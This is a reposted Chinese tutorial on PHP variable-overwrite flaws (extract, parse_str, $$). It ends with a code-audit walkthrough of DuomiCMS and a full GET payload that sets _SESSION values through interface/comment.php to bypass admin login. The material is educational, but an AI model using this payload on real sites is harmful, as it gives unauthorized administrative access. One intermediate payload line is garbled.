變量覆蓋漏洞


前言

從freebuf搬來的(是原作者,勿噴)

這篇文章是我在 前幾個月寫的,然后如今才打算發布的,咳咳,也沒啥可以寫的,就寫一下變量覆蓋的形成,如何代碼審計查找白盒專屬的變量覆蓋漏洞。

變量覆蓋是有啥用處?

變量覆蓋可以使用我們自定義的變量去覆蓋 源代碼中的變量,去修改代碼運行的邏輯。變量覆蓋與其他漏洞結合后 傷害是比較大的,比如商品購買的支付系統如果存在變量覆蓋的話可能出現0元支付下單的情況,或者說 登錄管理員后台的時候,通過變量覆蓋,進行登錄后台(這篇文章講解的就是duomicms的變量覆蓋進入后台,小白也很容易懂)。

正文

變量覆蓋產生原因引發變量覆蓋漏洞函數:

  1. extract()

  2. parse_str()

  3. Import_request_variables()

  4. $$(雙美元符)

  5. Register_globals=On (PHP 5.4之后移除)

0x01. extract() 函數

這時候看一下菜鳥教程是怎么使用的

file

看下語法是 extract(array,value1,value2)我們發現第一個參數是必選值,然后就不必說了

這時候我們發現,其實關鍵的是第二個參數值

EXTR_OVERWRITE - 默認。如果有沖突,則覆蓋已有的變量。

並且發現這里是默認的,這時候就穩妥了,這就導致可以變量覆蓋了

<?php
$user = 'user';
echo "歡迎用戶 $user !<br>";
$admin = array('user' => 'admin');
extract($admin);
echo "歡迎管理員 $user ";?>

看下這個代碼邏輯,變量user 等於 字符串user然后輸出這個變量 user之后我們再定義一個變量admin然后就是定義數組,鍵為 字符串 user,值為admin然后通過extract() 這個函數,里面就是數組

 array(‘user’ => ‘admin’)

然后是默認 EXTR_OVERWRITE 這個參數,這時候發現鍵名和上面的變量名重復於是就會覆蓋掉原本那個 userfile

0x02.parse_str()函數

老規矩,看下是怎么解釋的,這里說,如果沒有設置array參數那么函數設置的變量將會覆蓋已經存在的 同名變量file然后我們看下面這個 array這個參數規定存儲變量的數組的名稱。該參數指示變量將被存儲到數組中所以也就是說,我們只要沒有array這個參數,就會導致變量覆蓋這個漏洞

<?php
$username = 'user';
print_r('執行函數覆蓋之前:$username ='.$username."<br>");

// 執行函數 parse_str() ,然后里面沒有數組成功覆蓋
parse_str("username=admin");
print_r('執行函數覆蓋之后:$username ='.$username);
?>

file

0x03. import_request_variables()函數

file這里我們簡單的看下type參數就行,其實這里就是說P = post g = get c = cookie然后就可以理解了,從左到右的順序這些順序就是優先級,也就是說 gpc,意思就是說,get傳參會覆蓋 post傳參,而post傳參,則覆蓋cookie傳參,同理可得: get傳參也可以覆蓋cookie

file差不多就是這個意思了

0x04. $$雙美元符導致的變量覆蓋

<?php
$a = 'b';
$b= 'admin';
echo $$a;
?>

這里源碼我寫的比較粗糙,哥哥們看的懂就行file輸出的結果為 admin,而接下來講的就是$$導致的變量覆蓋

0x05.實戰講解

file先安裝好這個cms,然后再審計

漏洞地址在 upload/duomiphp/common.phpfile

我們直接進入我們的$$符查找,奈何技術太菜,沒法全文通讀filefile這在我的博客上面也有提到過,鍵值分離file先把其他的注釋掉,然后我們看下 $request 是個什么鬼file其實就是把array('GET','POST','COOKIE')中的值遍歷出來,其實就可以等價於

<?php
$arr = array('_GET','_POST','_COOKIE');
foreach($arr as $_request)
{
   echo $_request."<br>";
}?>

這時候我們知道第一層的 foreach是 輸出 GET,POST,_COOKIE

<?php 
$arr = array('_GET','_POST','_COOKIE');
foreach($arr as $_request)
{
   foreach($$_request as $_k => $_v){
       echo $_k.'=>'.$_v."<br>";
  }
}
?>

那我們就看第二層foreach是個什么梗$request 其實就等於 _GET,POST,_COOKIE

而$$request 就等於$GET$POST$COOKIE但是這里的第二層foreach() 其實就是鍵值分離,而我們可以看下

file其實簡單來說這3個地方可以被我們控制(代碼功底不行的話可以自己寫下運行一下,像本菜雞一樣,沒上過大學,代碼全自學,如果我寫的demo有什么問題可以說一下,我會糾正,奧利給)file注意看,因為我們這邊是 只使用一個函數,所以我們函數也給復制過來,然后我們在輸出一下,發現就跟我們前面寫的一模一樣file但是我們可以看到的執行順序是 GET > POST > COOKIE

這時候我們可以進行覆蓋,我們再去看一下如何才能進入這一步file我們發現上面沒有exit(),die()就忽略了

然后我們看到了那個注釋下面那邊有個 exit() 這時候我們不能讓它進入,不然就無法執行上面講述的代碼了

<?php
foreach($_REQUEST as $_k=>$_v)
{
   if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
  {
       exit('Request var not allow!');
  }
}?>

我們不能讓這個if條件成立 && 其實就是跟 and一樣,當着 3個條件滿足,才會exit我們就讓其中一個不滿足

第一個條件:$k就是鍵,我們必須要滿足,我們看下面那個圖,如果我們沒有鍵的話,根本無法控制利用file第二個條件:這其實就是一個正則(這是用戶自定義的,就不糾結了),然后正則里面能不能有cfg和 GLOBALS

第三個條件:isset判斷是否存在,如果是,則為 true,但是前面有個 感嘆號這時候意思相反 如果是則為 flase,如果否,則為 true不能有cookie某個值傳參

然后我們只需要滿足其中一個條件,就不會進入exit了

然后變量覆蓋只能覆蓋上面的代碼file如果下面的代碼再次定義的話,我們覆蓋也沒什么用的然后注意,這是在 common.php這個文件其實就是通用文件,里面定義的東西全局可能 也會調用等等這時候就去查找一下哪個文件包含了這個common.php其實我們只要找到有危害的地方就行了,像其他地方,有危害即使調用了也沒有卵用

然后這時候我們發現login.php 包含了 common.phpfile這時候我們有看到了下面又調用了一個 check.admin.php了英語會點的就知道,意思就是檢查 是否為admin的意思這時候我們發現找不到這個文件,duomi_INC 在哪里file這時候我們可以去打開login.phpfile然后進行簡單的修改一下Exit(duomi_INC);這時候就爆出路徑 file然后再去尋找一下路徑file成功的在duomiphp下面找到了check.admin.php因為這邊用了session_start 才能對其進行覆蓋登陸后台file

然后我們全局搜索找到這個session_start()在這個/interface/comment.php 路徑下這時候我們再去尋找那個check.admin.php進行構造session,進入后台fileUserlogin 顧名思義,就是用戶登陸,而session需要有duomi_admin_idduomi_group_idduomi_admin_name

<?php
//獲得用戶的權限值
   function getgroupid()
  {
       if($this->groupid!='')
      {
           return $this->groupid;
      }
       else
      {
           return -1;
      }
  }

   function getUserRank()
  {
       return $this->getgroupid();
  }
//獲得用戶的ID
    function getUserID()
    {
        if($this->userID!='')
        {
            return $this->userID;
        }
        else
        {
            return -1;
        }
    }
 //獲得用戶名
    function getUserName()
    {
        if($this->userName!='')
        {
            return $this->userName;
        }
        else
        {
            return -1;
        }
    }
}
?>

首先是獲取用戶權限file這時候我們發現當 groupid=1的時候是系統管理員,我們這就開始構造payload覆蓋session首先得strat一下,我們看上面寫了

interface/comment.php然后我們可以在get傳參里面傳入session

file注意看,鍵值這邊的話是$$符,所以我們不用再加$然后需要有3個session,第一個是用戶權限

interface/comment.php?_SESSION[duomi_group_id]=1

看上面源碼,獲取的順序,第二個,userid我們不知道,這也沒固定,那就亂寫個 1

(N[duo其實這里只要權限寫對,其他隨便寫,因為這邊只對權限進行判斷,沒有對用戶id和用戶名進行判斷)

interface/comment.php?_SESSIOmi_group_id]=1&_SESSION['duomi_admin_id']=1

還剩一個用戶名

interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin

就成功構建好了,把我腦瓜子都整的嗡嗡叫了,我語文是真的不好啊,我丟file這里提示我們要登錄,這時候我們傳參進去filefile這時候去訪問admin頁面發現成功訪問了,因為session是存儲在服務端,然后會持續會話,我們傳參進去報錯,但是session已經存儲到了服務端,這時候訪問admin,就可以進去了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM